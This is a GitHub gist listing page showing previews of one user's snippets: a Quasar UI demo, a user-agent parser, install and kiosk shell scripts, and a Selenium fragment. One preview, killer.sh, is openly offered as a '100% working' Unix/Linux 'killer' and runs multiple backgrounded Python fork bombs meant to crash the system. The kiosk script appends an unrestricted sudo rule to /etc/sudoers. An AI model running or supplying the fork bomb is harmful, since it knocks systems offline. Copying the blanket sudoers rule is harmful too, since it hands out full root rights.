Skip to content

Instantly share code, notes, and snippets.

@bnnk
bnnk / button-square-buttons-quasar-v2-12-7.markdown
Created September 24, 2023 04:53
Button: Square buttons - Quasar v2.12.7
@bnnk
bnnk / OldBrowser.js
Last active November 20, 2023 09:20 — forked from gerbenvandijk/OldBrowser.js
Browser UA String parser.
// The code - first bit is all the UserAgent library.
(function(scope) {
var Browsers, OS, Platform, Versions, browser_name, browser_version, os, platform;
Versions = {
Firefox: /firefox\/([\d\w\.\-]+)/i,
IE: /msie\s([\d\.]+[\d])/i,
Chrome: /chrome\/([\d\w\.\-]+)/i,
Safari: /version\/([\d\w\.\-]+)/i,
Ps3: /([\d\w\.\-]+)\)\s*$/i,
Psp: /([\d\w\.\-]+)\)?\s*$/i
@bnnk
bnnk / quasar.install.sh
Last active April 29, 2023 07:06
Script Bin
#! /bin/bash -xe
CREATE_VERB="npm init"
INSTALL_VERB="npm install"
if [ "$(command -v yarn)" ]; then
CREATE_VERB="yarn create"
INSTALL_VERB="yarn add"
fi
pause(){
read -n1 -r -p "Press any key to continue . . ." key;
echo;
@bnnk
bnnk / kiosker.sh
Last active November 26, 2022 05:34 — forked from mauro-moreno/kiosker.sh
My fork running tic80 instead of chrome.
#!/bin/bash
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
echo 'user ALL=(ALL:ALL) ALL' >> /etc/sudoers
cat <<EOT >> /opt/kiosk.sh
#!/bin/bash
xhost +
@bnnk
bnnk / killer.sh
Last active December 25, 2022 14:19
The best Unix/Linux Killer! 🖥 -> ☠! 100% Working Method. (WARNING: I am not responsible for any severe crash!) Run konfirm.sh. It just does a massive amount of fork bomb
# Online Bash Shell.
# Code, Compile, Run and Debug Bash script online.
# Write your code in this editor and press "Run" button to execute it.
function crash(){
python -c "[o.fork() for (o,i) in [(__import__('os'), __import__('itertools'))] for x in i.repeat(0)]" &
python -c "[o.fork() for (o,i) in [(__import__('os'), __import__('itertools'))] for x in i.repeat(0)]" &
python -c "[o.fork() for (o,i) in [(__import__('os'), __import__('itertools'))] for x in i.repeat(0)]" &
python -c "[o.fork() for (o,i) in [(__import__('os'), __import__('itertools'))] for x in i.repeat(0)]" &
#importing libraries
import selenium
from selenium import webdriver as wb
from selenium.webdriver.support.ui import Select
import pandas as pd
import time
#Opening Chrome browser
wbD=webD=wb.Chrome('E:chromedriver')